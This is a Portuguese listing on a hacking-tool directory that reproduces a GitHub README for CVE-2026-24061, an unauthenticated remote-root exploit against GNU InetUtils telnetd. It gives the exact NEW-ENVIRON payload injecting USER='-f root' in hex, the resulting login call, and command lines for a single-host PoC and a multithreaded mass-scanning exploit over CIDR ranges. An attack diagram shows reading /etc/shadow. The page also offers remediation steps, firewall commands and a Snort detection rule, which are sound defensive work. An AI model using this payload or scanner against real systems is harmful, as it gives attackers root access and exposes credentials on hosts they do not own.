Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/franckferman/cve-2026-24061
Scanners de VulnerabilidadesExploraçãoSegurança de RedeTestes de PenetraçãoInteligência de AmeaçasAutenticaçãoAprendizado e EducaçãoRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Root remoto não autenticado via injeção de variável NEW-ENVIRON.

Ver Repositório
4há 5 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE Score License Python No deps

GNU InetUtils telnetd - Root Remoto Não Autenticado via Injeção de Variável NEW-ENVIRON

Visão Geral - Análise Técnica - Versões Afetadas - Uso - Remediação - Referências


Visão Geral da Vulnerabilidade

CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no daemon telnetd distribuído como parte do GNU InetUtils. A falha reside no tratamento da opção Telnet NEW-ENVIRON (RFC 1572) durante o handshake inicial do protocolo.

A causa raiz é a falha em sanitizar variáveis de ambiente fornecidas pelo cliente antes de passá-las ao programa login(1). Quando o daemon Telnet recebe um pacote de sub-negociação contendo a variável com o valor , ele passa esse valor não sanitizado diretamente para o binário do sistema.

NEW-ENVIRON IS
USER
-f root
login

Em sistemas onde login aceita a flag -f (forçar login sem verificação de senha), isso resulta em uma sessão root não autenticada sendo concedida ao atacante remoto.

Esta classe de vulnerabilidade tem precedente histórico: CVE-2001-0797 no SysV telnetd e o conhecido bypass -f do telnetd Linux de 1994 exploraram a mesma falha fundamental de não sanitizar argumentos originados de variáveis de ambiente passados para binários privilegiados.

Nenhuma credencial necessária. Nenhum acesso prévio necessário. Uma única sequência de pacotes de rede alcança root.

Análise Técnica

Causa Raiz

O telnetd do GNU InetUtils processa a sub-negociação NEW-ENVIRON (código de opção 0x27, conforme RFC 1572) para coletar variáveis de ambiente fornecidas pelo cliente. Essas variáveis são montadas em um vetor de argumentos e passadas para execve(2) ao iniciar o login(1).

A vulnerabilidade é acionada da seguinte forma:

  1. O servidor envia IAC DO NEW-ENVIRON, solicitando variáveis de ambiente do cliente.
  2. O cliente malicioso responde com IAC WILL NEW-ENVIRON.
  3. O servidor segue com IAC SB NEW-ENVIRON SEND IAC SE.
  4. O cliente envia o payload injetado:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. O telnetd constrói a invocação do login como login -f root.
  2. O login(1) interpreta -f como "forçar login, pular autenticação" e autentica o usuário especificado (root) sem exigir senha.

Detalhamento em Nível de Protocolo

EtapaDireçãoBytes Telnet (hex)Significado
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Por Que -f root Funciona

O binário login(1) em muitos sistemas Linux aceita a flag -f <usuário> para logins "pré-autenticados", historicamente usada por multiplexadores de terminal e rlogin. Quando o telnetd constrói sua chamada exec e falha em remover hífens iniciais ou validar strings semelhantes a opções nos valores de variáveis de ambiente, ele inadvertidamente passa flags controladas pelo atacante diretamente para o login.

A chamada efetiva se torna:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Cenário de Ataque

root@kitploit:~
Atacante                                    telnetd vulnerável (porta 23)
   |                                                   |
   |------- TCP SYN (porta 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd chama: login -f root]             |
   |                                                   |
   |<------ Prompt de shell root (#) ------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow conteúdo -----|

Pré-requisitos:

  • Sistema alvo executando telnetd do GNU InetUtils (TCP/23 aberto)
  • Versão não corrigida do inetutils
  • Binário login(1) suporta a flag -f (padrão na maioria das distribuições Linux)
  • Nenhum firewall bloqueando TCP/23

Versões Afetadas

SoftwareVersões AfetadasStatus
GNU InetUtils telnetd<= 2.x (versão corrigida específica a definir)Vulnerável
Distribuições que distribuem GNU inetutils não corrigidoVáriasVerificar aviso do fornecedor

Verifique se sua distribuição distribui uma versão corrigida. Muitos sistemas modernos têm Telnet desabilitado por padrão; a exposição requer um telnetd explicitamente em execução.

Pontuação CVSS

MétricaValor
Pontuação Base CVSS v3.19.8 (Crítico)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoInalterado
Impacto na ConfidencialidadeAlto
Impacto na IntegridadeAlto
Impacto na DisponibilidadeAlto
String do VetorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mapeamento MITRE ATT&CK

ID ATT&CKTáticaTécnicaRelevância
T1190Acesso InicialExplorar Aplicação Exposta ao PúblicoExploração direta do telnetd pela rede
T1059ExecuçãoInterpretador de Comandos e ScriptsExecução de shell pós-exploração
T1078.004Escalação de Privilégio / Evasão de DefesaContas Válidas: Contas LocaisBypass de autenticação gera uma sessão root válida
T1548Escalação de PrivilégioAbusar Mecanismo de Controle de ElevaçãoFlag login -f abusada para contornar PAM/autenticação
T1046DescobertaDescoberta de Serviços de RedeComponente de varredura em massa do PoC

Instalação

Requisitos: Python 3 (apenas biblioteca padrão, zero dependências externas).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

Nenhum pip install necessário. Ambos os scripts usam apenas a biblioteca padrão do Python.

Estrutura do Projeto

root@kitploit:~
poc_cve_2026_24061.py       # PoC simples (~100 linhas) - entenda a vulnerabilidade
cve_2026_24061.py           # Exploit industrializado - multithread, CIDR, exportação CSV/JSON
scripts/
  generate_signatures.py    # Gera automaticamente regras Snort/Suricata + Sigma a partir do payload
  generate_misp_event.py    # Gera evento JSON importável no MISP
  generate_stix_bundle.py   # Gera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Regras de detecção Snort/Suricata (geradas automaticamente)
  sigma.yml                 # Regra Sigma para SIEM (gerada automaticamente)
indicators/
  misp_event.json           # Evento MISP - importar via Events > Add Event > Import
  stix_bundle.json          # Bundle STIX 2.1 - 11 objetos (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: Mínimo, legível, educacional. Um alvo, uma função, zero abstração. Leia isto para entender exatamente como a vulnerabilidade funciona no nível do protocolo.
  • cve_2026_24061.py: Exploit industrializado para engajamentos de pentest. Multithread, suporta faixas CIDR, entrada de arquivo, exportação CSV/JSON, modo silencioso, usuários personalizados.

Uso

PoC Simples (poc_cve_2026_24061.py)

Explora um único host. O código é deliberadamente mínimo para que você possa lê-lo de ponta a ponta e entender toda a cadeia de ataque.

root@kitploit:~
# Uso básico
python3 poc_cve_2026_24061.py 192.168.1.100

# Porta personalizada
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Exploit Industrializado (cve_2026_24061.py)

Host Único

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

Faixa CIDR (Varredura em Massa)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Entrada de Arquivo

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

Exportação JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Usuário Alvo Personalizado

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Modo Silencioso (compatível com pipes)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Opções Completas

ParâmetroPadrãoDescrição
-t / --target-IP único, hostname ou faixa CIDR
-f / --file-Arquivo contendo IPs/CIDRs (um por linha, comentários com #)
-T / --threads10Número de threads concorrentes
-p / --port23Porta Telnet alvo
--timeout5Timeout do socket em segundos
--userrootNome de usuário para o payload -f
-o / --output-Exportar resultados para arquivo CSV
--json-Exportar resultados para arquivo JSON
-q / --quietoffModo silencioso: apenas imprime alvos vulneráveis (um por linha)
--no-coloroffDesabilitar saída com cores ANSI

Status de Saída

StatusSignificado
[VULN]Host confirmado vulnerável - shell root obtido
[SAFE]Host respondeu, mas a autenticação não foi contornada
[CLOS]Porta fechada ou conexão recusada
[ERR ]Erro de socket ou protocolo durante a varredura

Colunas de saída CSV: ip:port, status, message

Comportamento do PoC

O script implementa a máquina de estados completa da negociação Telnet NEW-ENVIRON nativamente em Python, sem depender de bibliotecas Telnet externas:

  1. Abre um socket TCP bruto para o alvo na porta 23 (configurável).
  2. Lê sequências de comandos IAC recebidas e responde ao DO NEW-ENVIRON com WILL NEW-ENVIRON.
  3. Ao receber a sub-negociação SB NEW-ENVIRON SEND do servidor, transmite o payload injetado (USER = "-f root").
  4. Monitora o buffer de resposta em busca de indicadores de login root bem-sucedido: presença de uid=0(root) ou um prompt de shell (#), na ausência de Login incorrect ou Password:.
  5. Se o payload foi injetado, envia id\n e verifica uid=0(root) na resposta como confirmação secundária.

Os resultados são registrados no stdout com rótulos de status coloridos. A exportação CSV opcional registra todas as descobertas para pós-processamento.

Remediação e Mitigação

Ações Imediatas

  1. Desabilite o Telnet completamente. O Telnet transmite todos os dados em texto claro. Substitua por SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Aplique o patch do fornecedor. Instale a versão corrigida do inetutils da sua distribuição assim que disponível.

  3. Bloqueie TCP/23 no perímetro. Aplique regras de firewall para negar conexões Telnet de entrada.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Defesa em Profundidade

ControleDescrição
Segmentação de redeRestringir Telnet a redes de gerenciamento isoladas se não puder ser desabilitado
Endurecimento do PAMRevisar configuração do PAM; desabilitar pré-autenticação -f onde não for necessária pelo login.defs
Assinaturas IDS/IPSDetectar padrões NEW-ENVIRON IS VAR USER VALUE -f no tráfego Telnet
Registro de auditoriaMonitorar auth.log / secure para logins root inesperados via login
Varredura de vulnerabilidadesExecutar varreduras autenticadas (OpenVAS, Nessus) para identificar inetutils não corrigido

Detecção (SIEM/IDS)

Estrutura de regra Snort/Suricata para detectar o exploit em trânsito:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd tentativa de exploit USER=-f root";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Inteligência de Ameaças

Este repositório fornece artefatos de inteligência de ameaças pré-gerados, prontos para importação em sua pilha SOC/CTI. Eles são gerados automaticamente por CI a partir do payload real do exploit - se o payload mudar, os artefatos são atualizados.

MISP

Importe indicators/misp_event.json diretamente em qualquer instância MISP:

root@kitploit:~
Events > Add Event > Import from... > JSON

O evento contém: ID CVE, vetor CVSS, assinatura Snort, hex do payload, tags MITRE ATT&CK (T1190, T1548, T1059), CPE e referências externas.

STIX 2.1

Importe indicators/stix_bundle.json no OpenCTI, servidores TAXII ou qualquer consumidor STIX 2.1.

O bundle contém 11 objetos: Vulnerabilidade, Indicador (padrão de rede), 3 Padrões de Ataque (MITRE), Curso de Ação (remediação), Identidade e Relacionamentos vinculando-os.

Assinaturas IDS

Regras pré-construídas em signatures/:

  • snort.rules - 3 regras Snort/Suricata (tentativa de exploit, injeção genérica -f, shell root pós-exploração)
  • sigma.yml - Regra Sigma para correlação SIEM

Regenerar

Se você modificar o payload do exploit, regenere todos os artefatos:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Referências: MISP - OpenCTI - STIX 2.1 - Sigma

Referências

  • Repositório Oficial GNU InetUtils
  • RFC 1572 - Opção de Ambiente Telnet (NEW-ENVIRON)
  • RFC 854 - Especificação do Protocolo Telnet
  • CVE-2001-0797 - Bypass histórico SysV telnetd -f (precedente)
  • MITRE ATT&CK - T1190: Explorar Aplicação Exposta ao Público
  • MITRE ATT&CK - T1548: Abusar Mecanismo de Controle de Elevação
  • Projeto MISP
  • Página de manual do Linux login(1)

Aviso Legal

Esta ferramenta é fornecida apenas para auditoria de segurança autorizada, pesquisa acadêmica e fins educacionais. O uso contra sistemas sem permissão escrita explícita do proprietário do sistema é ilegal sob as leis aplicáveis de fraude e abuso de computadores (incluindo, mas não se limitando a, CFAA, Computer Misuse Act e legislação equivalente). O autor não aceita responsabilidade por uso não autorizado ou malicioso.

Baixar ferramenta